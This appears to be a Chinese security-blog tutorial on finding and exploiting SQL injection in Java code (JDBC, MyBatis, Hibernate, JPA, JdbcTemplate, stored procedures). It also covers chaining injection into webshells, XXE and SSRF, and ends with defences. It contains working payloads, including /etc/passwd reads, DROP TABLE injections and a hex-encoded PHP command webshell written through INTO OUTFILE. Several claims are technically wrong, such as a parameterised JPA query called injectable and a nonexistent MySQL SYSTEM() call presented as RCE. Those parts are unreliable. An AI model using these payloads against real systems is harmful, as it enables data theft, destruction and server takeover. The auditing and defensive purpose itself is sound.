Java代码审计中的SQL注入漏洞深度解析与组合攻击
字数 897 2025-08-22 12:23:06
Java代码审计中的SQL注入漏洞深度解析与组合攻击
一、SQL注入漏洞原理与风险扩展
SQL注入不仅限于传统的数据库查询操作,还可能通过多种技术组合升级为更严重的远程代码执行(RCE)漏洞。其核心风险包括:
- 数据泄露:获取敏感数据如用户凭证、个人信息
- 权限提升:通过数据库特权执行系统命令
- 持久化后门:写入Webshell或创建恶意存储过程
- 网络渗透:利用数据库功能发起内网扫描
二、Java中各类SQL注入场景详解
1. JDBC注入(基础型)
危险模式:
String query = "SELECT * FROM users WHERE username = '" + request.getParameter("user") + "'";
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery(query);
攻击Payload:
user=admin' UNION SELECT 1,load_file('/etc/passwd'),3-- -
2. MyBatis注入(动态SQL型)
危险场景:
<select id="findUser" parameterType="String" resultType="User">
SELECT * FROM ${tableName} WHERE username = '${username}'
</select>
利用方式:
// 传入参数:
tableName=users; DROP TABLE secrets --
username=admin' OR 1=1--
3. Hibernate注入(HQL/原生SQL型)
危险示例:
String hql = "FROM User WHERE username = '" + input + "' AND password = '" + pwd + "'";
Query query = session.createQuery(hql);
攻击向量:
input=admin' OR 1=1--
pwd=任意值
4. JPA注入(新型ORM风险)
危险模式:
@Query("SELECT u FROM User u WHERE u.username = ?1 AND u.password = ?2")
User login(String user, String pass);
绕过技巧:
- 利用JPQL特性:
user=admin' OR '1'='1'-- - 参数截断攻击: 超长参数导致预编译失效
5. JdbcTemplate注入(Spring风险)
错误用法:
String sql = "UPDATE accounts SET balance = balance + " + amount + " WHERE id = " + id;
jdbcTemplate.update(sql);
攻击方式:
amount=100; DROP TABLE accounts--
id=1
6. 存储过程注入(高阶风险)
漏洞代码:
CallableStatement cs = conn.prepareCall("{call get_user_data('" + input + "')}");
RCE利用 (MySQL示例):
input=1'); CREATE PROCEDURE attack() BEGIN SYSTEM('cat /etc/passwd > /var/www/output'); END; CALL attack();--
三、SQL注入与其他漏洞的组合利用
1. SQL注入 → 文件读写 → RCE
攻击链 (MySQL环境):
-- 1. 通过注入写入Webshell
SELECT 1,2,3 INTO OUTFILE '/var/www/html/shell.php'
LINES TERMINATED BY 0x3C3F7068702073797374656D28245F4745545B27636D64275D293B203F3E--
-- 2. 访问webshell执行命令
http://victim.com/shell.php?cmd=id
2. SQL注入 → XXE联动攻击
攻击流程:
- 通过SQL注入获取数据库中的XML内容
- 触发XXE解析恶意实体
-- 获取包含XXE的XML配置
UNION SELECT 1,LOAD_FILE('/opt/app/config.xml'),3,4--
3. SQL注入 → SSRF组合
利用数据库功能:
- 利用数据库的HTTP请求功能发起SSRF攻击
- 通过数据库连接功能探测内网服务
四、防御措施
- 参数化查询:始终使用PreparedStatement
- ORM安全使用:避免拼接HQL/JPQL
- 输入验证:白名单验证所有输入
- 最小权限原则:数据库账户使用最低权限
- 安全编码规范:禁用动态表名/列名
- 防御深度:WAF+代码审计+运行时防护
五、高级检测技术
- 污点分析:跟踪用户输入在代码中的传播
- 语法树分析:检测SQL语句拼接模式
- 运行时监控:拦截异常SQL语句执行
- 模糊测试:自动化注入payload测试